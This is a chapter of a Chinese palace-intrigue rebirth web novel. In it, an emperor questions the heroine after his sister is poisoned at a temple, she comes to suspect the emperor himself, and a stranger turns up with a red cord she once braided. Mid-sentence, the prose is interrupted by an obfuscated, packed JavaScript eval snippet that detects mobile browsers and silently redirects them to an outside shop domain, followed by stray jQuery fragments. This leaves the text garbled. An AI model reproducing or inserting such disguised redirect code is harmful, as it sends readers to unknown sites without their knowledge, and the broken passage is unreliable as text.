44.薨
    长公主薨了。

    或者说,是长公主疑似遭遇毒杀,死在了寺中安排给她的住处里。

    而光天化日之下胆敢毒害皇帝亲姐的,前来祈福的两百余人皆有嫌疑。

    即便是天界寺的僧人也难逃审讯。

    “褚姑娘,请。”

    长公主身死,天界寺难辞其咎,可人死不能复生,唯有抓出真凶方能将皇帝的怒火转移。

    寺里火急火燎将戒律堂清理出来作临时审讯的地方,褚雪镜望着檐下被煦阳照得反出金光的牌匾,背后却冷意泛泛。

    前世,长公主直到她死都不曾传出死讯。

    戒律堂中冷清寂静,褚雪镜垂眸迈过门槛,身后的门几乎在她踏进堂中的一瞬间合闭,屋外的阳光被门挡去,撒下一片凄冷的阴影。

    “褚雪镜。”皇帝身坐高台,一个接一个的单独审讯的确让他有些力不从心,精力殆尽,他支手撑着太阳穴,眯眼瞧着走上前的少女,“朕有些日子没瞧见你了。”

    褚雪镜微低着头,眉目不抬,走到堂前跪下,“臣女参见陛下。”

    “起来吧。”景仁帝直起身,落在扶臂的手指轻敲两下,“知道朕找你来是做什么吗?”

    “回陛下,”褚雪镜不卑不亢,说的话却模棱两可,耐人寻味,“陛下要查杀害长公主的真凶。”

    她倒是毫不避讳。

    景仁帝意味不明地笑了一声,“朕要查真凶,自然找大理寺来查,找你做什么?”

    褚雪镜道:“陛下挨个审过寺中人,叫臣女来亦是为判断臣女是否有毒害长公主嫌疑,便也是查凶。”

    伶牙俐齿、巧舌如簧。

    倒是比前世机灵不少。

    景仁帝又问:“昨夜子时,你在何处?”

    褚雪镜:“在自己房中。”

    景仁帝:“就你一个人?”

    褚雪镜不假思索道:“就臣女一人。”

    那时卫北临早就走了,算不上说谎欺君。

    “可有人为你作证?”景仁帝像是当真只是叫她来审讯,“你一直在房中不曾出来过?”

    “是。”褚雪镜镇定自若,“臣女被分配在东边寮房,周围并无别的香客为臣女作证,可若是臣女从东边的寮房出来,便是值夜的小僧也能瞧见臣女。”

    东西边的寮房相隔甚远,如是跨过这般长的距离,即便是半夜也很难保证不被看见。

    景仁帝沉吟两息,忽地起身从高台上走下,“你上次见到长公主是何时?”

    褚雪镜微怔,长公主萧婉书是萧云瑶的亲母,但长年卧病在床,鲜少露面,今年甚至连除夕夜宴都不曾出席。

    她余光瞥见近在咫尺的龙袍,神色不改,道:“似乎是前年的太后寿宴。”

    “太后寿宴……”景仁帝缓慢地将这四个字重复了一遍,叹息道,“朕倒是许久没听见这四个字了。”

    褚雪镜背脊一僵。

    她重生回来不过月余,已然忘了四年前很多事的细节。

    比如,皇帝的生母梁太后在去年的寿宴不久后便病逝了。

    再比如,皇帝似乎很忌讳这一点,金陵中人士连饭后闲谈也不敢提及太后半分。

    “褚丫头,朕还记得你九岁落水后便一病不起,才让你如今落下了病根。”景仁帝话题转得很快,仿佛这不是一场审讯,而是话家常,“当年的事,朕也有错。”

    这是……什么意思?

    褚雪镜一时分不清他是试探还是交代,谨慎回道:“臣女愚钝。”

    “你父母亲恐怕未与你讲过,你那日坠入冰湖是为朕引开了杀兵,这么多年来,是朕亏欠于你。”皇帝提起旧事并不隐晦,坦荡道,“朕此前碍于你年幼不便直言,今时不同以往,有些事你也该知道了。”

    否则一瞒就是一辈子,连如何死的都不清不楚。

    景仁帝登基的前两年正是朝廷动荡之时,外戚干政皇权不稳,再者先帝死后遗旨换太子过于突然,废太子党心有不甘,故而景仁帝时常遭遇刺杀,直到嘉元三年才逐渐坐稳了这个位子。

    而嘉元二年,景仁帝为拿废太子党羽乔装出金陵,在金陵边界却遭遇埋伏,碰巧遇到了带褚雪镜回金陵的忠远侯夫妇。

    “朕叫你来,确实不是审你的。”景仁帝居高临下地睨了一眼少女的神色,转身回坐在太师椅上,“褚回泽已经不是当年那个褚回泽,又或者说,他从来都没变过……褚雪镜,朕知道你并非等闲之辈,即便那年你是被迫落湖,朕依旧将这份恩情记在你头上。”

    “朕可以允诺你一个条件,”景仁帝道,“任何条件。”

    ……

    审讯从清晨一直持续到半夜,皇帝不停歇地面见了朝中臣子及其家眷,甚至不觉劳累地一一召见了寺中和尚。

    大理寺叫来的仵作在中午便到了,长公主萧婉书的确死于剧毒,至于旁的消息一律被景仁帝封锁,长公主究竟是不是为人所害,又是为什么死去,无人知晓。

    众人只盼安分度过今日,别去触皇帝的霉头。

    “小姐,您歇会儿吧。”青冬小心翼翼看着褚雪镜,自小姐从外头回来后就一直坐着发愣,偏生这么明显的不对劲她们也不敢多问什么,只能先劝着她别熬坏了身子,“不若您先睡下,有人传唤青冬再叫您?”

    “是啊小姐。”春茵帮腔道,“您这样干熬着要坏了身体的。”

    门口都是侍卫严守着,褚雪镜轻轻眨了下眼,道:“你们退下吧,我有分寸。”

    小姐一言不合总爱赶她们。

    青冬蹙着眉朝春茵使了个眼色,春茵抿了抿唇,道:“现下状况特殊,小姐……”

    “不必多言,”褚雪镜淡淡开口,毫无转圜余地,“去吧。”

    青冬飞快地眨巴两下眼,利索地行了礼扯着春茵退下。

    房中恢复宁静,褚雪镜舒了口气,合着衣衫半躺在塌上假寐。

    萧婉书死了,还是死在天界寺,与前世发生的事大相径庭。

    如今她可以肯定,景仁帝也是重生的。

    前世景仁帝死得也很突然,她依稀记得是在她“命丧洞房花烛夜”后不久,她还在暗市辗转时听见的皇帝驾崩的消息。

    景仁帝一死,太子萧胤玦便理所应当继承皇位,随后大肆宣扬医术药方之类,为褚玉霜进宫铺路。

    仔细想来……

    褚雪镜忽然睁开眼。

    要说人短命,皇室的人未免过于惨淡。

    先是去年太后病逝,现在是长公主

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13223466|134153||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    萧婉书,两月后又将是皇后温华锦,最后是四年后的景仁帝。

    接二连三的病死……总不能都是萧胤玦的手笔。

    他不过是太子,朝臣敬他两分,民间人敬他九分,可太后皇后等人他却是动不得的。

    再者前世她并未听说萧婉书的死讯,要么是皇帝悄然压下——毕竟长公主本就卧病多年,许久不露面也无人怀疑;要么就是她根本没死。

    可今生她却死得轰轰烈烈、声势巨大。

    饮毒而死。

    褚雪镜不免忆起白日戒律堂景仁帝寡淡无情的神色。

    没有亲姐死去的悲痛,也没有突得噩耗的惊愕。

    甚至有闲心在“审讯”的时候告诉她八年前的事,重点却不在萧婉书。

    会不会是……

    褚雪镜下意识颤了颤眼皮。

    如若萧婉书是死于皇帝之手,那么一切都说得通了。

    ……

    天光微亮。

    “小姐,门口的侍卫都撤走了!”青冬喜上眉梢,论谁都不想在别人监视下做事,“都撤走了,我和春茵姐姐悄悄去西边看了!”

    褚雪镜抬眸望向镜中,镜中人面色有些苍白,唇也没什么血色。她拣起口脂用指腹在唇上薄薄敷了一层,至少看起来没那么可怖。

    “小姐。”那头青冬咋呼完,这边接着春茵便推门进来,“有人找您。”

    褚雪镜:“什么人?”若是认识的,春茵不会说得这么模糊。

    “……一个男人。”春茵拧了下眉,不确定道,“奴婢不曾见过。”

    春茵没见过的,那不会是褚朗和卫北临。

    更何况佛门之地,怎会有男人贸然来寻她……?

    “对了小姐,”春茵忽然想起来什么,递上手中的物事,“那人说,小姐若见了这个,一定知道他是谁。”

    褚雪镜看清她递送来的东西,面色微滞,半晌才抬手用指尖勾了过来。

    不是什么特殊的事物,只是一根编得歪七扭八的红绳。

    褚雪镜额角轻跳,随手将它扣在妆台上。

    春茵茫然,“小姐?”

    “他人在哪?”褚雪镜抿唇,眉头蹙紧,“在门外?”

    她的脸色实在称不上好看,春茵不安地捏着自己的手指,害怕自己闯了祸,“是,小姐。”

    褚雪镜垂眸看着那只红绳,红绳已经有些旧了,但很干净,边缘泛起一层毛边,像是被人常戴着。

    “你……”女人似是在冥思苦想,“你去拒了他,便说我身体不适,不方便见。”

    春茵立即应道:“是。”

    青冬杏眼圆睁,看看红绳又看看春茵的背影,小声凑到女人跟前,“小姐,那是谁啊?”

    她想褚雪镜这么干脆了当地拒绝了,肯定是知道是谁了。

    哪知褚雪镜眉头拧得更紧,片刻后才道:“我也不记得了。”

    这红绳倒的确是她编的,但那是她十一二岁爱做的事情,那时她长年卧榻养病,出不了门就窝在床上胡编些手串,凡是她见过的同龄男女她都送过。

    只是有人拿着这东西找上门来,过去那么久了,她怎么想得起来究竟是谁?

    要是贸贸然出去见了认错岂不闹笑话?